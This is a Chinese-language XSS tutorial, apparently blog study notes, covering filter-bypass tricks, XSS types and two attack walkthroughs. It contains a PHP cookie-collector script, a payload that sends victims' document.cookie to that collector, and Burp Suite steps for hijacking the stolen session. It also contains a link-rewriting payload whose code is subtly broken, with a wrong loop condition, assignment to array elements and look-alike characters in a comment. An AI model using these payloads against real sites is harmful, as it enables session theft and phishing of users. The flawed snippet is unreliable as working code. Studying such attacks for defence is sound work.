XSS漏洞的危害及利用方式

  • 定义:XSS漏洞就是攻击者往web页面插入恶意的js代码,当用户浏览该页时,嵌入其中的js代码会被执行,从而达到恶意攻击用户的目的。
  • 特点:XSS攻击主要是拿用户的权限,因此攻击前提是用户能正常登陆。

1 防御与绕过

1.1 函数

  • htmlspecialchars():是PHP的内置函数,可以将预定义的<>符号转化为html实体;
    • 使用效果:无论在输入框中输入什么内容,都会被添加上""使其以字符串的形式存在和展示,让恶意代码无法生效。
    • 绕过
      • 如果被过滤的地方是表单,可以尝试表单的其他地方,例如下拉框、单选框之类的。在Burpsuite中将值更改为XSS代码,也可以实现绕过。

1.2 常用绕过方法

  • 闭合标签,在对输入内容没有过滤的情况下,可以通过"> 的方式来闭合标签并添加注入代码。
  • 改包,使用Burpsuite抓包观察参数的提交方式,如果存在页面上看不见的隐含参数,可以通过将注入代码赋值给隐含参数的方式来绕过。
  • 双写绕过,如果页面对关键词进行了过滤,可以通过双写关键词的方式绕过。
  • 编码绕过,和双写绕过类似。
  • 添加事件,如果无法闭合标签,可以考虑在标签内添加JS的事件(例如:onclick、onmouseover)来绕过

1.3 XSS危害

  • 攻击者可以在网站嵌入恶意代码(脚本),当用户打开该网页时,脚本自动执行,从而盗取用户的cookie、用户名密码等。
  • 下载病毒木马
  • 强行跳转页面:会使用户无论点击页面中的哪个链接,都跳转到攻击者指定的那个页面
  • 刷流量:和上一个类似,当用户点击链接跳转到我们指定的页面时,就达到了刷流量的目的

2 XSS利用方式

  • XSS一般都需要登录网站,来查找漏洞。即要注册一个身份后在其中寻找,而不是在任何人都可以进的网站中找XSS漏洞。

2.1 XSS分类

  • 反射型:提交的数据不会到数据库中。每次攻击都要重新提交一次参数(即JS代码)。因此是一次性攻击。
  • 存储型:提交的数据会被存到数据库中。只需要攻击一次。只要浏览到该页面,就会让数据库去读取数据从而触发代码。
  • DOM型:就是标签的拼接,来执行XSS。

2.2 反射型XSS 实例

2.2.1 获取用户cookie

  • 步骤:

    • 判断是否存在XSS漏洞

    • 构建一个钓鱼网站

      • 准备一个可以获取用户cookie的php文件,并取名为xsscookie.php
      
      	$cookie=$_GET['cookie'];		# 获取已登录用户的cookie值
      	file_put_contents('cookie.txt',$cookie);	# 将获取的cookie放入cookie.txt文件中,cookie.txt在和该php文件同一目录下
      ?>
      
    • 构造并提交payload

      <script>document.location='http://127.0.0.1/xsscookie.php?cookie='+document.cookie</script>
      // document.location是让用户点击按钮时自动跳转到location后面的地址
      // document.cookie是获取用户的cookie
      
      • 当用户点击到同样的地方时会触发该代码
    • 利用获取的用户cookie登录网站

      • 在网站注册一个用户名,注册成功后返回登录页面
      • 在登录页面输入自己的用户名和密码,然后用Burpsuite拦截登录请求
      • 将Burpsuite拦截的数据发送到Repeater 模块中
      • 将数据包中的SESSIONID值改为 cookie.txt 中的值,然后将第一行的URL的login.xx改为 index.xx ,然后GO到响应模块中
      • 如果响应模块是正常的页面格式则说明盗用cookie成功
      • 在响应模块中右键选择Request in browser 然后选择使用当前浏览器,得到一串URL地址
      • 将其复制后打开浏览器并关闭Burpsuite的代理,访问该地址即可实现盗用他人身份登录。

2.2.2 恶意篡改链接

  • 步骤

    • 判断是否存在XSS漏洞

    • 构造payload

      <script>
          window.onload=function(){
          var link=document.getElementsByTagName("a");
          for(j=0;j<link;j++){
              link[j] = "http://www.baidu.com";
          }
      }
      </script>
      // window.οnlοad=function(){}代表只要窗口加载就触发该函数
      // var link得到的是一个数组,即整个页面中所有用a标签放置的链接
      // for循环的含义是,将百度的网址赋值给该页面中所有的a标签,即此时点击该页面中的任意链接都会跳转到百度页面
      
    • 提交payload

      • 将上述代码在有漏洞处提交
    • 危害:如果构造的payload中是钓鱼页面的链接,用户点击之后如果在其中输入了自己的账号密码就会造成信息泄露


注:

  1. 本文章仅供学习参考,禁止以此做任何违法操作
  2. 文章仅代表个人观点,有任何错误欢迎批评指正

你可能感兴趣的:(网络安全【学习笔记】,安全,javascript)